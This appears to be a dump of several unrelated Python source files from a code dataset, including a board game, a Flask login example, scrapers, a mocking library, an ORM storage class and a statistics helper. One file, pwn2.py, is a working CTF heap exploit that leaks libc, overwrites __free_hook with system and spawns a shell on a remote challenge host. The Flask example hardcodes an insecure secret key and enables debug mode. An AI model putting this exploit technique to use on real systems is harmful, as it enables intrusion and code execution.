state\nimport inputs\n\ndef main():\n '''Game function. '''\n\n connection = inputs.prin()\n\n column = connection[0]\n row = connection[1]\n turn = connection[2]\n top = connection[3]\n win = connection[4]\n \n board = state.makeNewBoard(row, column)\n state.get_board(board, row, column, top)\n while True:\n if turn == 'black':\n symbol = 'B'\n print_board\n (board, row)\n scores = state.show_scores(board, row, column)\n print('Black: {}; White: {}'.format(scores[0],scores[1]))\n print(\"\\nIt is {}'s turn, {} is '{}'.\".format('Black','Black',symbol))\n move = every_move(board, symbol, row, column)\n print('Your move is at {}.'.format(state.tell_move(move)))\n state.MakeMove(board,symbol, row, column).make_move_for_board(move[0],move[1])\n if state.check_score(state.show_scores(board, row, column)) != (row*column):\n if state.MakeMove(board, 'W', row, column).Flip_pieces() == []:\n print(\"!!White has no where to move; it's black turn!!\")\n turn = 'black'\n else:\n turn = 'white'\n else:\n break\n else:\n symbol = 'W'\n print_board(board, row)\n scores = state.show_scores(board, row, column)\n print('Black: {}; White: {}'.format(scores[0],scores[1]))\n print(\"\\nIt is {}'s turn, {} is '{}'.\".format('White','White',symbol))\n move = every_move(board, symbol, row, column)\n print('Your move is at {}.'.format(state.tell_move(move)))\n state.MakeMove(board,symbol, row, column).make_move_for_board(move[0],move[1])\n if state.check_score(state.show_scores(board, row, column)) != (row*column):\n if state.MakeMove(board,'B', row, column).Flip_pieces() == []:\n print(\"!!Black has no where to move; it's white turn!!\")\n turn = 'white'\n else:\n turn = 'black'\n else:\n break\n\n print_board(board, row)\n scores = state.show_scores(board, row, column)\n print('Black: {}; White: {}'.format(scores[0],scores[1]))\n who_won(scores, win)\n####################################################################\ndef connect(column, row, move_first, top, win):\n if not row in number:\n print('Not a valid row.')\n return False\n if not column in number:\n print('Not a valid column.')\n return False\n turn=''\n if move_first == 'b':\n turn = 'black'\n elif move_first == 'w':\n turn = 'white'\n else:\n print('Not a valid first move imput.')\n return False\n if top != 'wb' and top != 'bw':\n print('Not a valid input, wb or bw.')\n return False\n if win != 'more' and win != 'less':\n print('Not a valid input of how to win.')\n return False\n####################################################################\n## Get Input and Return Correct Move:\ndef every_move(board, symbol, row, column):\n '''Ask user to put in number and check the number\n if there is a valid place. Otherwise, ask again.'''\n\n number=['1','2','3','4','5','6','7','8','9','10']\n while True:\n move_column = input(\"Please enter the column of your move into the grid:\")\n move_row = input('Please enter the row of your move into the grid:')\n if len(move_column) > 2 and len(move_row) > 2:\n print(\"The length of your input has to be 2. Please try again.\")\n continue\n try:\n x = int(move_column)\n y = int(move_row)\n except:\n print('The type of the inputs have to be (int).')\n continue\n\n if not move_column in number or not move_row in number:\n print('Please enter input as number within your column and row. Please try again.')\n continue\n\n if int(move_column) > column or int(move_row) > row:\n print('Both (XY)in input should should not greater than the column or row. Please try again.')\n continue\n try:\n x = x-1\n y = y-1\n if state.can_move(board, symbol, x, y, row, column) == False:\n raise Error\n except:\n print(\"Not a valid move, please try again.\")\n continue\n break\n return [x,y]\n\ndef print_board(board, row):\n '''Print out board.'''\n number=''\n for i in range(len(board)):\n number+=str(i+1)+' '\n print(' {:2}'.format(number))\n for num in range(row):\n result=''\n for lst in board:\n if lst[num] == ' ':\n result+='. '\n else:\n result+=lst[num]+' '\n print('{:2} {:2}'.format(num+1,result))\n\ndef who_won(scores, win):\n '''Check either player won or computer won by the higher scores and print it out.\n It also can be a draw game.'''\n if win == 'more':\n if scores[0] > scores[1]:\n print('Black won the game!')\n elif scores[0] < scores[1]:\n print('White won the game!')\n else:\n print('This game is draw.')\n else:\n if scores[0] < scores[1]:\n print('Black won the game!')\n elif scores[0] > scores[1]:\n print('White won the game!')\n else:\n print('This game is draw.')\n \n################################################################\nif __name__ == '__main__':\n print('Game start!')\n main()\n","sub_path":"Project 5/New folder Pro5/New folder (2)/game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":5621,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"519341365","text":"from flask import Flask, render_template_string, request\nfrom flask.ext.babel import Babel\nfrom flask.ext.mail import Mail\nfrom flask.ext.sqlalchemy import SQLAlchemy\nfrom flask.ext.user import current_user, login_required, roles_required, SQLAlchemyAdapter, UserManager, UserMixin\nfrom flask.ext.user.forms import RegisterForm\nfrom wtforms import validators\nfrom wtforms import StringField\n\n# Use a Class-based config to avoid needing a 2nd file\nclass ConfigClass(object):\n # Configure Flask\n SECRET_KEY = 'THIS IS AN INSECURE SECRET' # Change this for production!!!\n SQLALCHEMY_DATABASE_URI = 'sqlite:///register_form_app.sqlite' # Use Sqlite file db\n CSRF_ENABLED = True\n\n\nclass MyRegisterForm(RegisterForm):\n first_name = StringField('First name', validators=[\n validators.Required('First name is required')])\n last_name = StringField('Last name', validators=[\n validators.Required('Last name is required')])\n\ndef create_app(test_config=None): # For automated tests\n # Setup Flask and read config from ConfigClass defined above\n app = Flask(__name__)\n app.config.from_object(__name__+'.ConfigClass')\n\n # Load local_settings.py if file exists # For automated tests\n try: app.config.from_object('local_settings')\n except: pass\n\n # Over-write app config # For automated tests\n if test_config:\n for key, value in test_config.items():\n app.config[key] = value\n\n # Setup Flask-Mail, Flask-Babel and Flask-SQLAlchemy\n app.mail = Mail(app)\n app.babel = babel = Babel(app)\n app.db = db = SQLAlchemy(app)\n\n @babel.localeselector\n def get_locale():\n translations = [str(translation) for translation in babel.list_translations()]\n return request.accept_languages.best_match(translations)\n\n # Define the User-Roles pivot table\n user_roles = db.Table('user_roles',\n db.Column('id', db.Integer(), primary_key=True),\n db.Column('user_id', db.Integer(), db.ForeignKey('user.id', ondelete='CASCADE')),\n db.Column('role_id', db.Integer(), db.ForeignKey('role.id', ondelete='CASCADE')))\n\n # Define Role model\n class Role(db.Model):\n id = db.Column(db.Integer(), primary_key=True)\n name = db.Column(db.String(50), unique=True)\n\n # Define User model. Make sure to add flask.ext.user UserMixin!!\n class User(db.Model, UserMixin):\n id = db.Column(db.Integer, primary_key=True)\n # Flask-User fields\n active = db.Column(db.Boolean(), nullable=False, default=False)\n email = db.Column(db.String(255), nullable=False, default='')\n password = db.Column(db.String(255), nullable=False, default='')\n # Application fields\n first_name = db.Column(db.String(50), nullable=False, default='')\n last_name = db.Column(db.String(50), nullable=False, default='')\n # Relationships\n roles = db.relationship('Role', secondary=user_roles,\n backref=db.backref('users', lazy='dynamic'))\n\n # Reset all the database tables\n db.create_all()\n\n # Setup Flask-User\n db_adapter = SQLAlchemyAdapter(db, User)\n user_manager = UserManager(db_adapter, app,\n register_form=MyRegisterForm)\n\n # The '/' page is accessible to anyone\n @app.route('/')\n def home_page():\n if current_user.is_authenticated():\n return profile_page()\n return render_template_string(\"\"\"\n {% extends \"base.html\" %}\n {% block content %}\n <h2>{%trans%}Home Page{%endtrans%}</h2>\n <p><a href=\"{{ url_for('user.login') }}\">{%trans%}Sign in{%endtrans%}</a></p>\n {% endblock %}\n \"\"\")\n\n # The '/profile' page requires a logged-in user\n @app.route('/profile')\n @login_required # Use of @login_required decorator\n def profile_page():\n return render_template_string(\"\"\"\n {% extends \"base.html\" %}\n {% block content %}\n <h2>{%trans%}Profile Page{%endtrans%}</h2>\n <p> {%trans%}Hello{%endtrans%}\n {{ current_user.first_name }},</p>\n <p> <a href=\"{{ url_for('user.change_password') }}\">\n {%trans%}Change password{%endtrans%}</a></p>\n <p> <a href=\"{{ url_for('user.logout') }}?next={{ url_for('user.login') }}\">\n {%trans%}Sign out{%endtrans%}</a></p>\n {% endblock %}\n \"\"\")\n\n return app\n\n# Start development web server\nif __name__=='__main__':\n app = create_app()\n app.run(host='0.0.0.0', port=5000, debug=True)\n","sub_path":"example_apps/register_form_app/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":4652,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"470373384","text":"import requests\nfrom bs4 import BeautifulSoup\n\n# consulted: https://www.freecodecamp.org/news/scraping-wikipedia-articles-with-python/\n\npage = \"https://en.wikipedia.org/wiki/Index_of_language_articles\"\nwikipage = requests.get(url=page)\nwikilist = BeautifulSoup(wikipage.content, \"html.parser\")\nlinks = wikilist.find_all('td')\n\nwith open(\"languagelinks.txt\", \"w\") as outfile:\n for i in links:\n link = i.find('a',href=True)\n if link is None:\n continue\n if link.find(\"/wiki/\") == -1:\n continue\n if \"php\" in link[\"href\"] or \"index\" in link[\"href\"] or \"/w/\" in link[\"href\"] or \"category\" in link[\"href\"]:\n continue\n else:\n if \"languages\" in link[\"href\"]:\n continue\n if \"language\" in link[\"href\"]:\n outfile.write(link[\"href\"])\n outfile.write(\"\\n\")\n","sub_path":"docs/quiz/Contents/wikipediascraper.py","file_name":"wikipediascraper.py","file_ext":"py","file_size_in_byte":880,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"592323834","text":"#coding:utf-8\n\nfrom pwn import *\nimport argparse\n\n# env = os.environ\n# env['LD_PRELOAD'] = './libc64.so'\n\nIP = '85c3e0fcae5e972af313488de60e8a5a.kr-lab.com'\nPORT = '58512'\nbinary = './pwn2'\n\nio = None\n\nparser = argparse.ArgumentParser()\n\nparser.add_argument('-d', '--debugger', action='store_true')\nparser.add_argument('-r', '--remote', action='store_true')\nparser.add_argument('-l', '--local', action='store_true')\nargs = parser.parse_args()\n\nsl = lambda x : io.sendline(x)\nsd = lambda x : io.send(x)\nsla = lambda x,y : io.sendlineafter(x,y)\nrud = lambda x : io.recvuntil(x,drop=True)\nru = lambda x : io.recvuntil(x)\n\ndef lg(s, addr):\n print('\\033[1;31;40m%30s-->0x%x\\033[0m' % (s, addr))\n\nif args.remote:\n io = remote(IP, PORT) \n libc = ELF(\"/lib/x86_64-linux-gnu/libc.so.6\")\n elf = ELF(binary)\nelif args.local or args.debugger:\n # env = {\"LD_PRELOAD\": os.path.join(os.getcwd(), \"libc.so.6\")}\n env = {}\n io = process(binary, env=env)\n elf = ELF(binary)\n proc_base = io.libs()[os.path.abspath(os.path.join(os.getcwd(), binary))]\n libc_bb = io.libs()['/lib/x86_64-linux-gnu/libc.so.6']\n libc = ELF(\"/lib/x86_64-linux-gnu/libc.so.6\")\nelse:\n parser.print_help()\n exit()\n\ndef add(legth,con):\n ru(\"======\")\n sl(\"2\")\n ru(\"length of daily\")\n sl(str(legth))\n ru(\"write you daily\")\n sd(con)\n\ndef show():\n ru(\"======\")\n sl(\"1\")\n\ndef change(idx,con):\n ru(\"======\")\n sl(\"3\")\n ru(\" index of daily\")\n sl(str(idx))\n ru(\"new daily\")\n sl(con)\n\ndef remove(idx):\n ru(\"======\")\n sl(\"4\")\n ru(\"index of daily:\")\n sl(str(idx))\n\ndef debug(msg=\"\"):\n pwnlib.gdb.attach(io,msg)\n raw_input()\n\ndef exploit():\n add(0x96,'a'*0x10)\n add(0x96,'a'*0x10)\n add(0x96,'a'*0x10)\n add(0x96,'/bin/sh\\x00')\n remove(0)\n\n add(0x96,'a'*0x8)\n show()\n # leak libc\n leak = ru(\"\\x7f\")[-6:]\n leak = u64(leak.ljust(8,'\\x00'))\n lg('leak',leak)\n\n libc.address = leak - 0x3c4b78\n base_addr = libc.address\n system = libc.symbols['system']\n # libc.address = libc\n lg('libc',base_addr)\n\n __malloc_hook = base_addr + 0x3c4b10\n lg('__malloc_hook',__malloc_hook)\n __free_hook = base_addr + 0x3c67a8\n\n # debug()\n\n write = __malloc_hook - 0x13\n write_chunk = write + 0x10\n lg('write',write)\n\n ### leak heap\n remove(0)\n remove(2)\n add(0x96,'a'*0x8)\n show()\n ru(\"a\"*8)\n msg = rud(\"1 :\")\n\n heap = msg[-4:]\n heap = u64(msg.ljust(8,'\\x00'))\n heap_base = heap - 0x140\n lg('heap',heap)\n\n idx = ( heap_base + 0x290 - 0x602060) / 16\n add(0x96,'a')\n\n # debug()\n add(0x6f,p64(0xdeadeef) + p64(heap_base + 0x320))\n\n\n # add(0x6f,p64(0) * 3+ p64(0x31) + p64(0x602090) + p64(0x602090 + 8) + p64(0x30) * 6)\n # add(0x6f,p64(0x70) + p64(0xa0) + p64(0x11)*8) # fake chunk prev_not_inuse and size\n # add(0x6f,p64(0x71) * 12) \n lg('idx',idx)\n\n add(0x20,p64(0) + p64(0x70))\n add(0x6f,p64(0x71) * 12)\n add(0x6f,p64(0x71) * 12)\n\n\n # debug(\"\"\"\n # b *0x{:x}\n # \"\"\".format(0x400C16))\n # debug()\n\n remove(idx)\n change(5,p64(0) + p64(0x71) + p64(0x602030-0x3))\n\n # debug()\n add(0x60,'1')\n\n\n lg('one_gg',base_addr+ 0x45216)\n add(0x60,'a'*3 + p64(0) * 4 + p64(0x10) + p64(__free_hook))\n\n change(0,p64(system))\n\n remove(3)\n\n # io.sendline(\"2\")\n # sl(\"10\")\n # debug()\n\n io.interactive()\n\nif __name__ == \"__main__\":\n exploit()\n\"\"\"\n0x45216\texecve(\"/bin/sh\", rsp+0x30, environ)\nconstraints:\n rax == NULL\n\n0x4526a\texecve(\"/bin/sh\", rsp+0x30, environ)\nconstraints:\n [rsp+0x30] == NULL\n\n0xf02a4\texecve(\"/bin/sh\", rsp+0x50, environ)\nconstraints:\n [rsp+0x50] == NULL\n\n0xf1147\texecve(\"/bin/sh\", rsp+0x70, environ)\nconstraints:\n [rsp+0x70] == NULL\n\"\"\"","sub_path":"pwn_exec/guosai/your_pwn/pwn2/pwn2.py","file_name":"pwn2.py","file_ext":"py","file_size_in_byte":3744,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"530618440","text":"def f(n):\n\tn = str(n)\n\tsum = 0\n\tfor i in n:\n\t\tsum += int(i)**2\n\treturn sum\n\nk,a,b = [int(i) for i in input(\"请输入三个数字，需要满足 a, b,k,k>=1, a,b<=10**10, a<=n :\").split(\",\")]\n\ncount = 0\n\nfor i in range(a,b+1):\n\tif k*f(i) == i:\n\t\tcount += 1\nprint (count)","sub_path":"codetest/fn.py","file_name":"fn.py","file_ext":"py","file_size_in_byte":270,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"211162725","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n'''\n# @File : adv_predict.py\n# @Author : yuanwenjin\n# @Mail : xxxx@mail.com\n# @Date : 2019/12/10 17:41:55\n# @Docs : 对训练好的模型进行inference\n'''\n\nimport os, sys\nimport numpy as np\nimport time\nimport logging\n# logging.basicConfig(level=logging.INFO, filename='run_log.log', filemode='w', datefmt='%Y-%m-%d, %a, %H:%M:%S', format='%(message)s')\n\nsys.path.append(os.path.join(os.path.dirname(os.path.abspath(__file__)), 'models'))\nprint(os.path.join(os.path.dirname(os.path.abspath(__file__)), 'models'))\n\nfrom PIL import Image\nfrom PIL import ImageFile\nImageFile.LOAD_TRUNCATED_IMAGES = True\n\nimport tensorflow as tf\nfrom nets import nets_factory\n\ntf.flags.DEFINE_string(\n 'model_name', '', 'model name for mobile network.')\n\ntf.flags.DEFINE_string(\n 'checkpoint_path', '', 'Path to checkpoint for mobile network.')\n\ntf.flags.DEFINE_string(\n 'image_folder', '', 'Path to images.')\n\ntf.flags.DEFINE_string(\n 'batch_size', '64', 'Path to images.')\n\nFLAGS = tf.flags.FLAGS\nmodel_name = FLAGS.model_name\n\ndef preprocessing(img, mask, reshaped_size=(256, 256)):\n \"\"\"切圆\n ### Args:\n - img: H*W*C, PIL image, rgb\n - mask: H*W*1, array, same with reshaped\n - reshaped_size, 2*1, (height, width), tuple\n - rgb_means: C*1, (meanR, meanG, meanB), tuple\n ### Returns:\n image.\n \"\"\"\n\n img = np.array(img.resize(reshaped_size, Image.ANTIALIAS), dtype='float16') / 255.0\n\n img[:, :, 0] = img[:, :, 0] * mask\n img[:, :, 1] = img[:, :, 1] * mask\n img[:, :, 2] = img[:, :, 2] * mask\n return img\n\ndef main(_):\n network_fn = nets_factory.get_network_fn(model_name, num_classes=(15 - 0), is_training=False)\n with tf.Graph().as_default():\n # Prepare graph\n x_input = tf.placeholder(tf.float32, shape=[None, 256, 256, 3])\n logits, _ = network_fn(x_input)\n gailv = tf.reduce_max(tf.nn.softmax(logits), 1)\n pred = tf.argmax(logits, 1)\n\n # images\n images = os.listdir(FLAGS.image_folder)\n\n # mask\n MASK = Image.open(os.path.join(os.path.dirname(__file__), 'mask.png'))\n MASK = MASK.resize((256, 256))\n MASK = np.array(MASK, 'float16') > 0\n\n # Run computation\n saver = tf.train.Saver()\n with tf.Session() as sess:\n saver.restore(sess, FLAGS.checkpoint_path)\n\n # log\n logging.basicConfig(level=logging.INFO, filename='predict_%s.log' % model_name, filemode='w', datefmt='%Y-%m-%d, %a, %H:%M:%S', format='%(message)s')\n logging.info('image, gailv, predict, label')\n\n image_len = len(images)\n # image_len = 100\n step = int(FLAGS.batch_size)\n for idx in range(0, image_len, step):\n if (step + idx) > image_len:\n step = image_len - idx\n ims = [Image.open(os.path.join(FLAGS.image_folder, img)) for img in images[idx:step+idx]]\n ims = [preprocessing(im, MASK) for im in ims]\n val, classed = sess.run([gailv, pred], feed_dict={x_input: ims})\n for name, v, c in zip(images[idx:step+idx], val, classed):\n # print(name, v, c)\n logging.info('%s, %f, %d' % (name, v, c))\n\nif __name__ == '__main__':\n tf.app.run()\n","sub_path":"shield/adv_predict.py","file_name":"adv_predict.py","file_ext":"py","file_size_in_byte":3341,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"307250432","text":"from typing import Callable, Generic, cast, TypeVar\n\nfrom typemock._mock import MockObject\nfrom typemock._mock.methods import MockMethodState\nfrom typemock._utils import bind\nfrom typemock.api import VerifyError\n\nT = TypeVar('T')\n\n_error_no_interactions_with_others = \"\"\"\n\nNo interactions with method '{method_name}' for arguments:\n\n{expected_args}\n\n{count} other interaction(s):\n\n[\n {first_other}\n...\n]\n\n\"\"\"\n\n_error_no_interactions = \"\"\"\n\nNo interactions with method '{method_name}' for arguments:\n\n{expected_args}\n\nNo other interactions.\n\n\"\"\"\n\n_error_incorrect_amount_of_interactions_others = \"\"\"\n\nExpected {expected_count} interactions with '{method_name}' with args:\n\n{expected_args}\n\nBut there were {actual_interactions} interactions.\n\nAnd {other_count} other interaction(s):\n\n[\n {first_other}\n...\n]\n\n\"\"\"\n\n_error_incorrect_amount_of_interactions = \"\"\"\n\nExpected {expected_count} interactions with '{method_name}' with args:\n\n{expected_args}\n\nBut there were {actual_interactions} interactions. No other interactions.\n\n\"\"\"\n\n_error_no_sets_others = \"\"\"\n\nNo sets for attribute '{attribute_name}' with {expected_args}.\n\n{count} other interaction(s):\n\n[\n {first_other}\n...\n]\n\n\"\"\"\n\n_error_no_sets = \"\"\"\n\nNo sets for attribute '{attribute_name}' with {expected_args}.\n\nNo other `sets`.\n\n\"\"\"\n\n_error_incorrect_sets_others = \"\"\"\n\nExpected {expected_count} `sets` for '{attribute_name}' with arg: {expected_args}\n\nBut there were {actual_interactions} `sets`.\n\nAnd {other_count} other `sets`(s):\n\n[\n {first_other}\n...\n]\n\n\"\"\"\n\n_error_incorrect_sets = \"\"\"\n\nExpected {expected_count} `sets` for '{attribute_name}' with arg: {expected_args}\n\nBut there were {actual_interactions} `sets`.\n\nNo other `sets`.\n\n\"\"\"\n\n\ndef _verify_method(method_state: MockMethodState, exactly: int) -> Callable:\n def method_mock(*args, **kwargs):\n call_count = method_state.call_count_for(*args, **kwargs)\n if exactly == -1:\n if call_count.count < 1:\n if len(call_count.other_calls) > 0:\n raise VerifyError(\n _error_no_interactions_with_others.format(\n method_name=method_state.name,\n expected_args=call_count.call,\n count=len(call_count.other_calls),\n first_other=call_count.other_calls[0]\n )\n )\n else:\n raise VerifyError(\n _error_no_interactions.format(\n method_name=method_state.name,\n expected_args=call_count.call\n )\n )\n else:\n if call_count.count != exactly:\n if len(call_count.other_calls) > 0:\n raise VerifyError(\n _error_incorrect_amount_of_interactions_others.format(\n method_name=method_state.name,\n expected_args=call_count.call,\n other_count=len(call_count.other_calls),\n first_other=call_count.other_calls[0],\n expected_count=exactly,\n actual_interactions=call_count.count\n )\n )\n else:\n raise VerifyError(\n _error_incorrect_amount_of_interactions.format(\n method_name=method_state.name,\n expected_count=exactly,\n actual_interactions=call_count.count,\n expected_args=call_count.call\n )\n )\n\n return method_mock\n\n\nclass _VerifyObject(Generic[T]):\n _tmock_initialised = False\n\n def __init__(self, mock: MockObject[T], exactly: int):\n self._mock = mock\n self._exactly = exactly\n for method_state in mock._mock_method_states:\n verify_method = _verify_method(method_state, exactly)\n bind(self, verify_method, method_state.name)\n self._tmock_initialised = True\n\n def __getattribute__(self, item: str):\n if object.__getattribute__(self, \"_tmock_initialised\"):\n mock = object.__getattribute__(self, \"_mock\")\n exactly = object.__getattribute__(self, \"_exactly\")\n if item in mock._mock_attribute_states:\n state = mock._mock_attribute_states[item]\n get_calls = state.call_count_gets()\n if exactly == -1:\n if get_calls < 1:\n raise VerifyError(\n \"\\nThere were no gets of attribute: {}\\n\".format(\n state.name\n )\n )\n else:\n return\n else:\n if get_calls != exactly:\n if get_calls == 0:\n message = \"\\nThere were no gets for attribute: {}. Expecting {}\\n\".format(\n state.name, exactly\n )\n else:\n message = \"\\nThere were {} gets for attribute: {}. Expecting {}\\n\".format(\n get_calls, state.name, exactly\n )\n raise VerifyError(message)\n else:\n return\n return object.__getattribute__(self, item)\n\n def __setattr__(self, key, item):\n if self._tmock_initialised:\n mock = self._mock\n exactly = self._exactly\n if key in mock._mock_attribute_states:\n state = mock._mock_attribute_states[key]\n called_set_record = state.called_set_record(item)\n if exactly == -1:\n if called_set_record.count < 1:\n if len(called_set_record.other_calls) > 0:\n raise VerifyError(\n _error_no_sets_others.format(\n attribute_name=state.name,\n expected_args=called_set_record.call,\n count=len(called_set_record.other_calls),\n first_other=called_set_record.other_calls[0]\n )\n )\n else:\n raise VerifyError(\n _error_no_sets.format(\n attribute_name=state.name,\n expected_args=called_set_record.call\n )\n )\n\n else:\n return\n else:\n if called_set_record.count != exactly:\n if len(called_set_record.other_calls) > 0:\n raise VerifyError(\n _error_incorrect_sets_others.format(\n attribute_name=state.name,\n expected_args=called_set_record.call,\n expected_count=exactly,\n other_count=len(called_set_record.other_calls),\n first_other=called_set_record.other_calls[0],\n actual_interactions=called_set_record.count\n )\n )\n else:\n raise VerifyError(\n _error_no_sets.format(\n attribute_name=state.name,\n expected_args=called_set_record.call\n )\n )\n else:\n return\n else:\n object.__setattr__(self, key, item)\n\n\ndef _verify(mock: T, exactly: int = -1) -> T:\n return cast(T, _VerifyObject(cast(MockObject[T], mock), exactly=exactly))\n","sub_path":"typemock/_verify.py","file_name":"_verify.py","file_ext":"py","file_size_in_byte":8276,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"384911310","text":"#!/usr/bin/python3\n\"\"\"DATABASE Module\"\"\"\nfrom models.base_model import Base\nfrom sqlalchemy import create_engine\nfrom sqlalchemy.orm import sessionmaker, scoped_session, relationship\nfrom models.amenity import Amenity\nfrom models.city import City\nfrom models.place import Place\nfrom models.review import Review\nfrom models.state import State\nfrom models.user import User\nfrom os import getenv\n\n\nclass DBStorage():\n \"\"\"DataBase Storage class\"\"\"\n __engine = None\n __session = None\n\n def __init__(self):\n \"\"\"Costructor\"\"\"\n self.__engine = create_engine(\n 'mysql+mysqldb://{}:{}@{}/{}'.format(\n getenv(\"HBNB_MYSQL_USER\"), getenv(\"HBNB_MYSQL_PWD\"),\n getenv(\"HBNB_MYSQL_HOST\"), getenv(\"HBNB_MYSQL_DB\")),\n pool_pre_ping=True)\n\n if getenv(\"HBNB_ENV\") == 'test':\n Base.metadata.drop_all(self.__engine)\n\n def all(self, cls=None):\n \"\"\"Query on the current database session\"\"\"\n tables = [City, State, User, Place, Review, Amenity]\n it = []\n if cls is None:\n for i in tables:\n it += self.__session.query(i)\n else:\n it = self.__session.query(cls)\n objDict = {}\n for i in it:\n key = type(i).__name__ + '.' + i.id\n objDict[key] = i\n return objDict\n\n def new(self, obj):\n \"\"\"Adds an object to the current database session\"\"\"\n if obj is not None:\n self.__session.add(obj)\n\n def save(self):\n \"\"\"Commit changes of the current database session\"\"\"\n self.__session.commit()\n\n def delete(self, obj=None):\n \"\"\"Deletes an object from the current database session\"\"\"\n if obj is not None:\n self.__session.delete(obj)\n self.save()\n\n def reload(self):\n \"\"\"Create all tables in the database\"\"\"\n Base.metadata.create_all(self.__engine)\n session_factory = sessionmaker(\n bind=self.__engine, expire_on_commit=False)\n Session = scoped_session(session_factory)\n self.__session = Session()\n\n def close(self):\n \"\"\"Close session\"\"\"\n self.__session.close()\n","sub_path":"models/engine/db_storage.py","file_name":"db_storage.py","file_ext":"py","file_size_in_byte":2181,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"341665387","text":"# les imports peuvent (doivent) être modifés pour fiare fonctionner le script\nfrom employe import Employe\nfrom manager import Manager\nfrom exceptions import ManagerLevelError\n\n\nif __name__ =='__main__':\n e1 = Employe(\"Bonneau\", \"Jean\", 2000, \"2015-01-01\", 180057501045878)\n e2 = Employe(\"Mir\", \"Jade\", 2500, \"2014-01-01\", 270057501045875)\n e3 = Employe(\"Mir\", \"Abel\", 2000, \"2016-01-01\", 185058501045878)\n\n m1 = Manager(\"Mousse\", \"Ema\", 3000, \"2010-01-01\", 285065445842587, 1)\n m2 = Manager(\"Age\", \"Carl\", 2800, \"2014-01-01\", 190065445123587, 1)\n m3 = Manager(\"Fonfec\", \"Sophie\", 5000, \"2010-01-01\", 288065445878512, 2)\n m4 = Manager(\"Covers\", \"Harry\", 10000, \"2012-12-12\", 180052545678942, 3)\n\n try :\n m5 = Manager(\"Dassault\", \"Richard\", 1000, \"2012-01-12\", 180045645678942, 0)\n except ManagerLevelError as e :\n print(e) # Le niveau d'un manager ne peut être nul\n\n e1.demander(5, m1) # Augmentation refusée à BONNEAU Jean\n print(e1.salaire) # 2000\n\n e3.demander(5, m1) # Augmentation accordée à MIR Abel\n print(e3.salaire) # 2100\n\n try :\n e3.demander(50, m1)\n except ValueError as e :\n print(e) # Pourcentage d'augmentation trop important\n\n try :\n e3.demander(- 5, m1)\n except ValueError as e :\n print(e) # L'augmentation doit être positive\n\n try :\n m1.demander(5, m2)\n except ManagerLevelError as e :\n print(e) # Le niveau du manager AGE Carl ne lui permet pas d'accorder une augmentation à l'employé MOUSSE Ema\n\n m1.demander(5, m3) # Augmentation refusée à MOUSSE Ema\n print(m1.salaire) # 3000\n\n try :\n m1.virer(e1)\n except ManagerLevelError as e :\n print(e) # Le niveau du manager MOUSSE Ema ne lui permet pas de virer l'employé BONNEAU Jean\n\n m3.virer(e1) # BONNEAU Jean s'est fait virer le 2017-03-29\n\n try :\n m3.virer(m1)\n except ManagerLevelError as e :\n print(e) # Le niveau du manager FONFEC Sophie ne lui permet pas de virer l'employé MOUSSE Ema\n\n m4.virer(m1) # MOUSSE Ema s'est fait virer le 2017-03-29\n\n try :\n m4.virer(e1)\n except ValueError as e :\n print(e) # BONNEAU Jean s'est déjà fait viré le 2017-03-29\n","sub_path":"__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":2240,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"481830244","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Fri Mar 12 09:15:32 2021\r\n\r\n@author: Meva\r\n\"\"\"\r\nimport numpy as np\r\nimport pandas as pd\r\nimport matplotlib as mpl\r\nimport scipy\r\nimport importlib\r\nimport matplotlib.pyplot as plt\r\nfrom scipy.stats import skew, kurtosis, chi2\r\n\r\n\r\nclass distribution_manager():\r\n \r\n \r\n def __init__(self, inputs):\r\n self.inputs = inputs\r\n self.data_table = None\r\n self.description = None\r\n self.nb_rows = None\r\n \r\n \r\n def load_timeseries(self):\r\n \r\n data_type = self.inputs['data_type']\r\n \r\n if data_type == 'simulation':\r\n \r\n nb_sims = self.inputs['nb_sims']\r\n dist_name = self.inputs['variable_name']\r\n degrees_freedom = self.inputs['degrees_freedom']\r\n \r\n if dist_name == 'normal':\r\n x = np.random.standard_normal(nb_sims)\r\n x_description = data_type + ' ' + dist_name\r\n elif dist_name == 'exponential':\r\n x = np.random.standard_exponential(nb_sims)\r\n x_description = data_type + ' ' + dist_name\r\n elif dist_name == 'uniform':\r\n x = np.random.uniform(0,1,nb_sims)\r\n x_description = data_type + ' ' + dist_name\r\n elif dist_name == 'student':\r\n x = np.random.standard_t(df=degrees_freedom, size=nb_sims)\r\n x_description = data_type + ' ' + dist_name + ' | df = ' + str(degrees_freedom)\r\n elif dist_name == 'chi-square':\r\n x = np.random.chisquare(df=degrees_freedom, size=nb_sims)\r\n x_description = data_type + ' ' + dist_name + ' | df = ' + str(degrees_freedom)\r\n \r\n self.description = x_description\r\n self.nb_rows = nb_sims\r\n self.vec_returns = x\r\n \r\n elif data_type == 'real':\r\n \r\n directory = 'C:\\\\Users\\Meva\\\\.spyder-py3\\\\data\\\\2021-2\\\\'\r\n ric = self.inputs['variable_name']\r\n path = directory + ric + '.csv' \r\n raw_data = pd.read_csv(path)\r\n t = pd.DataFrame()\r\n t['date'] = pd.to_datetime(raw_data['Date'], dayfirst=True)\r\n t['close'] = raw_data['Close']\r\n t.sort_values(by='date', ascending=True)\r\n t['close_previous'] = t['close'].shift(1)\r\n t['return_close'] = t['close']/t['close_previous'] - 1\r\n t = t.dropna()\r\n t = t.reset_index(drop=True)\r\n \r\n self.data_table = t\r\n self.description = 'market data ' + ric\r\n self.nb_rows = t.shape[0]\r\n self.vec_returns = t['return_close'].values\r\n \r\n \r\n def plot_histogram(self):\r\n \r\n 